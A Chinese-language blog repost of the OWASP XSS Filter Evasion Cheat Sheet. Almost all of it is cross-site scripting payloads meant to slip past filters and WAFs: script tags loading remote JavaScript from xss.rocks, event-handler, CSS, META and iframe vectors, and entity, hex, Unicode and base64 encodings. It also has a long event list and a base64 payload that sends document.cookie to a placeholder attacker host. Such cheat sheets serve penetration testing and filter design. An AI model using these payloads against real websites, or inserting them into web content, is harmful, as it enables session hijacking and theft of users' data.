XSS系列--(三)XSS Filter

本文阅读 16 分钟
//基本XSS测试:
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
//polygot测试XSS有效载荷:
javascript:/*--></title></style></textarea></script></xmp> <svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(1)//'>
//利用src:
<IMG SRC="javascript:alert('XSS');">

//没有引号也没有分号:
<IMG SRC=javascript:alert('XSS')>

//不区分大小写的XSS攻击向量:
<IMG SRC=JaVaScRiPt:alert('XSS')>
//HTML实体:
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
//Grave 重音模糊处理,如果需要同时使用双引号和单引号,可以使用重音符号来封装JavaScript字符串:
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
//通过格式错误的A标签,跳过HREF属性并进行XXS探测:
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>

//当脚本缺少引号时,Chrome会在正确的位置补全在URL或脚本上丢失的引号:
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
//格式错误的IMG标签,适用于所有浏览器:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
//如果不允许任何类型的引号,可以在fromCharCodeJ中创建任何XSS向量:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
//在事件方法中插入JavaScript,适用于使用 Form、Iframe、Input、Embed等元素;
//还可以替换相关事件如onblur、onclick等:
<IMG SRC=# onmouseover="alert('xxs')">

//默认SRC标签留空:
<IMG SRC= onmouseover="alert('xxs')">

//完全保留默认SRC标记:
<IMG onmouseover="alert('xxs')">
//错误警报:
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

//IMG onerror警报编码:
<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
//HTML十进制编码:
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

//不使用分号;的HTML十进制编码:
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

//不使用分号;的HTML十六进制编码:
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
//嵌入空格分解XSS代码:
<IMG SRC="jav ascript:alert('XSS');">

//嵌入空格编码分解XSS代码:
<IMG SRC="jav&#x09;ascript:alert('XSS');">

//嵌入换行符来分解XSS代码;09(水平制表符)、10(换行符)和13(回车符)均有效:
<IMG SRC="jav&#x0A;ascript:alert('XSS');">

//嵌入式回车分解XSS代码:
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

//空字符变体:
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

//JavaScript之前的空格和元字符,可以使用十进制 1-32 中的任何字符:
<IMG SRC=" &#14; javascript:alert('XSS');">
//Firefox HTML解析器认为HTML关键字后的非字母非数字无效,利用/可绕过部分过滤器:
<SCRIPT\\s!= \<SCRIPT/XSS\\s:
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>

//Gecko渲染引擎允许在事件处理程序和等号之间使用除字母、数字或封装字符(如引号、尖括号等)以外的任何字符,绕过跨站脚本。也适用于重音字符,如下所示:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

//如果系统不允许空格,在标记和参数之间使用斜线:
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
//利用多个<。双斜杠注释掉结束的<以绕过JavaScript报错:
<<SCRIPT>alert("XSS");//\<</SCRIPT>
//不关闭脚本标签,在Gecko渲染引擎模式下的Firefox和Netscape8.1中,不需要\></SCRIPT>闭合脚本:
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
//标签中的协议解析,适用于IE、IE渲染模式下的Netscape和Opera:
<SCRIPT SRC=//xss.rocks/.j>
//半开的XSS向量,IE中绕过了NIDS正则表达式:/((\\%3D)|(=))\[^\\n\]\*((\\%3C)|\<)\[^\\n\]+((\\%3E)|\>)/ ,因为它不需要“>”结尾:
<IMG SRC="('XSS')"

//双开XSS向量,firefox中,可使用<结尾:
<iframe src=http://xss.rocks/scriptlet.html <
//二次转义;服务器端会转义某些引号,利用二次转义来进行绕过;
//例如:<SCRIPT>var a="\\\\";alert('XSS');//";</SCRIPT>
//最终取消转义双引号并导致跨站点脚本向量触发:
\";alert('XSS');//

//应用JSON或JavaScript转义:
</script><script>alert('XSS');</script>
//封闭标题标签,关闭<TITLE>标签的XSS向量,可以封装恶意跨站脚本攻击:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>

//利用src:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

//利用background:
<BODY BACKGROUND="javascript:alert('XSS')">

//利用dynsrc:
<IMG DYNSRC="javascript:alert('XSS')">

//利用Lowsrc:
<IMG LOWSRC="javascript:alert('XSS')">

//利用src中的VBscript:
<IMG SRC='vbscript:msgbox("XSS")'>

//Livescript(仅限旧版本的 Netscape):
<IMG SRC="livescript:[code]">

//SVG对象标签:
<svg/onload=alert('XSS')>

//ECMAScript 6:
Set.constructor`alert\x28document.domain\x29

//body onload,可以在(onload =)之前放置一个空格:
<BODY ONLOAD=alert('XSS')>

//BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">

//& 
<BR SIZE="&{alert('XSS')}">
//JavaScript 事件列表:

FSCommand()        //当从嵌入的 Flash 对象中执行时,攻击者可以使用它
onAbort()        //当用户中止加载图像时
onActivate()        //(当对象被设置为活动元素时)
onAfterPrint()        //(在用户打印或预览打印作业后激活)
onAfterUpdate()        //(更新源对象中的数据后在数据对象上激活)
onBeforeActivate()        //(在对象被设置为活动元素之前触发)
onBeforeCopy()        //(攻击者在选择被复制到剪贴板之前执行攻击字符串 - 攻击者可以使用该execCommand("Copy")函数执行此操作)
onBeforeCut()        //(攻击者在选择被剪切之前执行攻击字符串)
onBeforeDeactivate()    //(在 activeElement 从当前对象更改后立即触发)
onBeforeEditFocus()        //(在可编辑元素中包含的对象进入 UI 激活状态之前或当可编辑容器对象被控件选中时触发)
onBeforePaste()        //(用户需要被欺骗粘贴或使用该execCommand("Paste")功能强制粘贴)
onBeforePrint()        //(用户需要被诱骗打印或攻击者可以使用print()orexecCommand("Print")功能)。
onBeforeUnload()        //(用户需要被诱骗关闭浏览器 - 攻击者无法卸载窗口,除非它是从父级生成的)
onBeforeUpdate()        //(在更新源对象中的数据之前激活数据对象)
onBegin()        //(当元素的时间线开始时,onbegin 事件立即触发)
onBlur()        //(在加载另一个弹出窗口并且窗口失去焦点的情况下)
onBounce()        //(当Marquee对象的行为属性设置为“备用”和Marquee的内容到达窗口的一侧时,触发
onCellChange()        //(当数据提供者中的数据发生变化时触发)
onChange()        //(选择、文本或 TEXTAREA 字段失去焦点且其值已被修改)
onClick()        //(有人点击表格)
onContextMenu()        //(用户需要右键单击攻击区域)
onControlSelect()        //(当用户即将对对象进行控件选择时触发)
onCopy()        //(用户需要复制一些东西,或者可以使用execCommand("Copy")命令来利用它)
onCut()        //(用户需要复制一些东西,或者可以使用execCommand("Cut")命令来利用它)
onDataAvailable()        //(用户需要更改元素中的数据,否则攻击者可以执行相同的功能)
onDataSetChanged()        //(当数据源对象暴露的数据集发生变化时触发)
onDataSetComplete()        //(触发表示所有数据都可从数据源对象获得)
onDblClick()        //(用户双击表单元素或链接)
onDeactivate()        //(当activeElement 从当前对象更改为父文档中的另一个对象时触发)
onDrag()、onDragEnd()        //(要求用户拖动对象)
onDragLeave()、onDragOver()、onDragEnter()        //(要求用户将对象拖离有效位置)
onDragDrop()        //(用户将对象(例如文件)拖放到浏览器窗口中)
onDragStart()        //(当用户开始拖动操作时发生)
onDrop()        //(用户将对象(例如文件)拖放到浏览器窗口中)
onEnd()        //(onEnd 事件在时间线结束时触发)
onError()        //(加载文档或图像会导致错误)
onErrorUpdate()        //(在更新数据源对象中的关联数据时发生错误时在数据绑定对象上触发)
onFilterChange()        //(当视觉过滤器完成状态更改时触发)
onFinish()        //(攻击者可以在选框完成循环时创建利用)
onFocus()        //(当窗口获得焦点时,攻击者执行攻击字符串)
onFocusIn()        //(当窗口获得焦点时,攻击者执行攻击字符串)
onFocusOut()        //(当窗口失去焦点时,攻击者执行攻击字符串)
onHashChange()        //(当文档当前地址的片段标识符部分更改时触发)
onHelp()        //(当用户在窗口处于焦点时按 F1 时,攻击者执行攻击字符串)
onInput()        //(通过用户界面更改元素的文本内容)
onKeyDown()        //(用户按下一个键)
onKeyPress()        //(用户按下或按住一个键)
onKeyUp()        //(用户释放一个键)
onLayoutComplete()        //(用户必须打印或打印预览)
onLoad()        //(攻击者在窗口加载后执行攻击字符串)
onLoseCapture()        //(可以通过releaseCapture()方法利用)
onMediaComplete()        //(当使用流媒体文件时,该事件可能会在文件开始播放之前触发)
onMediaError()        //(用户在浏览器中打开一个包含媒体文件的页面,当出现问题时触发该事件)
onMessage()        //(当文档收到消息时触发)
onMouseDown()        //(攻击者需要让用户点击图片)
onMouseEnter()        //(光标在对象或区域上移动)
onMouseLeave()        //(攻击者需要让用户将鼠标悬停在图像或表格上,然后再次关闭)
onMouseMove()        //(攻击者需要让用户将鼠标悬停在图像或表格上)
onMouseOut()        //(攻击者需要让用户将鼠标悬停在图像或表格上,然后再次关闭)
onMouseOver()        //(光标在对象或区域上移动)
onMouseUp()        //(攻击者需要让用户点击图片)
onMouseWheel()        //(攻击者需要让用户使用他们的鼠标滚轮)
onMove()        //(用户或攻击者会移动页面)
onMoveEnd()        //(用户或攻击者会移动页面)
onMoveStart()        //(用户或攻击者会移动页面)
onOffline()        //(如果浏览器在在线模式下工作并开始离线工作,则会发生)
onOnline()        //(如果浏览器在离线模式下工作并开始在线工作,则会发生)
onOutOfSync()        //(中断元素播放时间线定义的媒体的能力)
onPaste()        //(用户需要粘贴或攻击者可以使用该execCommand("Paste")功能)
onPause()        //(onpause 事件在时间线暂停时激活的每个元素上触发,包括 body 元素)
onPopState()        //(当用户浏览会话历史时触发)
onProgress()        //(攻击者会在加载 Flash 电影时使用它)
onPropertyChange()        //(用户或攻击者需要更改元素属性)
onReadyStateChange()        //(用户或攻击者需要更改元素属性)
onRedo()        //(用户在撤消交易历史中前进)
onRepeat()        //(时间线的每次重复触发一次,不包括第一个完整周期)
onReset()        //(用户或攻击者重置表单)
onResize()        //(用户会调整窗口大小;攻击者可以使用类似的东西自动初始化<SCRIPT>self.resizeTo(500,400);</SCRIPT>:)
onResizeEnd()        //(用户会调整窗口大小;攻击者可以使用类似的东西自动初始化<SCRIPT>self.resizeTo(500,400);</SCRIPT>:)
onResizeStart()        //(用户会调整窗口大小;攻击者可以使用类似的东西自动初始化<SCRIPT>self.resizeTo(500,400);</SCRIPT>:)
onResume()        //(onresume 事件会在时间线恢复时激活的每个元素上触发,包括 body 元素)
onReverse()        //(如果元素的 repeatCount 大于 1,则每次时间线开始向后播放时都会触发此事件)
onRowsEnter()        //(用户或攻击者需要更改数据源中的一行)
onRowExit()        //(用户或攻击者需要更改数据源中的一行)
onRowDelete()        //(用户或攻击者需要删除数据源中的一行)
onRowInserted()        //(用户或攻击者需要在数据源中插入一行)
onScroll()        //(用户需要滚动,否则攻击者可以使用该scrollBy()功能)
onSeek()        //(当时间线设置为向前播放以外的任何方向时,会触发 onreverse 事件)
onSelect()        //(用户需要选择一些文本 - 攻击者可以使用类似的东西自动初始化window.document.execCommand("SelectAll");:)
onSelectionChange()        //(用户需要选择一些文本 - 攻击者可以使用类似的东西自动初始化window.document.execCommand("SelectAll");:)
onSelectStart()        //(用户需要选择一些文本 - 攻击者可以使用类似的东西自动初始化window.document.execCommand("SelectAll");:)
onStart()        //(在每个选取框循环开始时触发)
onStop()        //(用户需要按下停止按钮或离开网页)
onStorage()        //(存储区域已更改)
onSyncRestored()        //(用户中断元素播放由时间线定义的媒体的能力以触发)
onSubmit()        //(需要攻击者或用户提交表单)
onTimeError()        //(用户或攻击者将时间属性(例如 dur)设置为无效值)
onTrackChange()        //(用户或攻击者更改播放列表中的曲目)
onUndo()        //(用户在撤消事务历史记录中倒退)
onUnload()        //(当用户点击任何链接或按下后退按钮或攻击者强制点击时)
onURLFlip()        //(此事件在由 HTML+TIME(定时交互式多媒体扩展)媒体标签播放的高级流格式 (ASF) 文件处理嵌入在 ASF 文件中的脚本命令时触发)
seekSegmentTime()        //(这是一种在元素的片段时间线上定位指定点并从该点开始播放的方法。片段由时间线的一个重复组成,包括使用 AUTOREVERSE 属性进行反向播放。)
//css link
仅适用于 IE 和 Netscape 8.1+:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://xss.rocks/xss.css">

//<STYLE>标签:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>

//这仅适用于Gecko渲染引擎,并且通过将XUL文件绑定到父页面来工作,绝大多数网站来说都容易受到这种攻击:
<STYLE>BODY{ -moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
//利用\拆解
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
带表情的 IMG 样式
这实际上是上述 XSS 向量的混合体,但它确实显示了 STYLE 标记的解析难度,就像上面这样可以将 IE 发送到循环中:

exp/*<A STYLE='no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
//仅限旧版本的 Netscape
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
//使用background-image:
<STYLE>.XSS{ background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

//使用background:
<STYLE type="text/css">BODY{ background:url("javascript:alert('XSS')")}</STYLE> <STYLE type="text/css">BODY{ background:url("<javascript:alert>('XSS')")}</STYLE>
//本地HTC文件,使用 .htc 文件,该文件必须与 XSS 向量位于同一服务器上:
<XSS STYLE="behavior: url(xss.htc);">
//US-ASCII编码,仅在主机以US-ASCII编码传输时才有效(Apache Tomcat使用该编码):
¼script¾alert(¢XSS¢)¼/script¾
//META
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

//META base64编码:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

//带有附加URL参数的META,如果目标网站试图查看 URL 是否<http://>;在开头包含,可以使用以下技术避开:
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
//IFRAME:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

//IFRAME、事件:
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>

//<FRAMESET>与 iframe 具有相同类型的XSS问题:
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
//table:
<TABLE BACKGROUND="javascript:alert('XSS')">

//table、TD:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
//DIV background-image
<DIV STYLE="background-image: url(javascript:alert('XSS'))">

//Unicoded的DIV background-image XSS Exploit 
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
服务器上安装SSI才能使用此 XSS 向量:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'"-->
//服务器上安装PHP可使用此XSS向量:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
//在META中使用cookie操作可以修改受害者的cookie,该cookie将作为JavaScript显示给他们:
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
//URL 字符串规避
//假设http://www.google.com/以编程方式被禁止:

//IP 与主机名
<A HREF="http://66.102.7.147/">XSS</A>

//网址编码
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

//双字编码,Dword 编码还有其他变体
<A HREF="http://1113982867/">XSS</A>

//十六进制编码
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

//八进制编码
<A HREF="http://0102.0146.0007.00000223/">XSS</A>

//Base64 编码
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">

//混合编码,制表符和换行符仅在使用引号封装时才有效:
<A HREF="h 
tt  p://6   6.000146.0x7.147/">XSS</A>
//协议解析绕过,将http://转换为//可以节省更多字节。并且可以轻松绕过正则表达式(ht|f)tp(s)?://
<A HREF="//www.google.com/">XSS</A>
//删除www. 可节省4 个字节
<A HREF="http://google.com/">XSS</A>
# 利用HTTP参数污染触发XSS
//功能中确定content_type的值是一个常量并且总是整数,没有在页面中编码或验证content_type:
//内容页面源代码
a href="/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>">Share</a>


//分享页面源代码
<script>
var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
//some user agreement and sending to server logic might be here
...
</script>


//内容页面输出
//在这种情况下,如果攻击者将不受信任的内容标题设置为“This is a regular //title&content_type=1;alert(1)”,“内容”页面中的链接将是:
<a href="/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)">Share</a>


//分享页面输出,在共享页面输出可能是这样的:
<script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
//some user agreement and sending to server logic might be here
…
</script>
//字符转义绕过过滤,HTML和JavaScript中字符\ <的所有可能组合
<、%3C、&lt、&lt;、&LT、&LT;、&#60;、&#060;、&#0060;、&#00060;、&#000060;、&#0000060;、&#60;、&#060;、&#0060;、&#00060;、&#000060;、&#0000060;、&#x3c;、&#x03c;、&#x003c;、&#x0003c;、&#x00003c;、&#x000003c;、&#x3c;、&#x03c;、&#x003c;、&#x0003c;、&#x00003c;、&#x000003c;、&#X3c;、&#X03c;、&#X003c;、&#X0003c;、&#X00003c;、&#X000003c;、&#X3c;、&#X03c;、&#X003c;、&#X0003c;、&#X00003c;、&#X000003c;、&#x3C;、&#x03C;、&#x003C;、&#x0003C;、&#x00003C;、&#x000003C;、&#x3C;、&#x03C;、&#x003C;、&#x0003C;、&#x00003C;、&#x000003C;、&#X3C;、&#X03C;、&#X003C;、&#X0003C;、&#X00003C;、&#X000003C;、&#X3C;、&#X03C;、&#X003C;、&#X0003C;、&#X00003C;、&#X000003C;、\x3c、\x3C、\u003c、\u003C
//通过请求重定向触发XSS
//此请求不会通过 WAF:
/?param=<javascript:alert(document.cookie>)

//此请求将通过 WAF,并在某些浏览器中进行 XSS 攻击。
/?param=<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
//绕过WAF
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" οnerrοr="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg οnlοad=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome&colon;prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>

//JavaScript中的反射型 XSS
Example: <script> ... setTimeout(\\"writetitle()\\",$\_GET\[xss\]) ... </script>
Exploitation: /?xss=500); alert(document.cookie);//

//基于DOM的XSS
Example: <script> ... eval($\_GET\[xss\]); ... </script>
Exploitation: /?xss=document.cookie
//鼠标悬停触发XSS
<img src="/" =_=" title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<form><button formaction=javascript&colon;alert(1)>CLICKME
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
//绕过过滤器
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
alert?.()
` ${ alert``}`(有效载荷应包括前导和尾随反引号。)
(alert())

xss filter来源https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/123383678
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复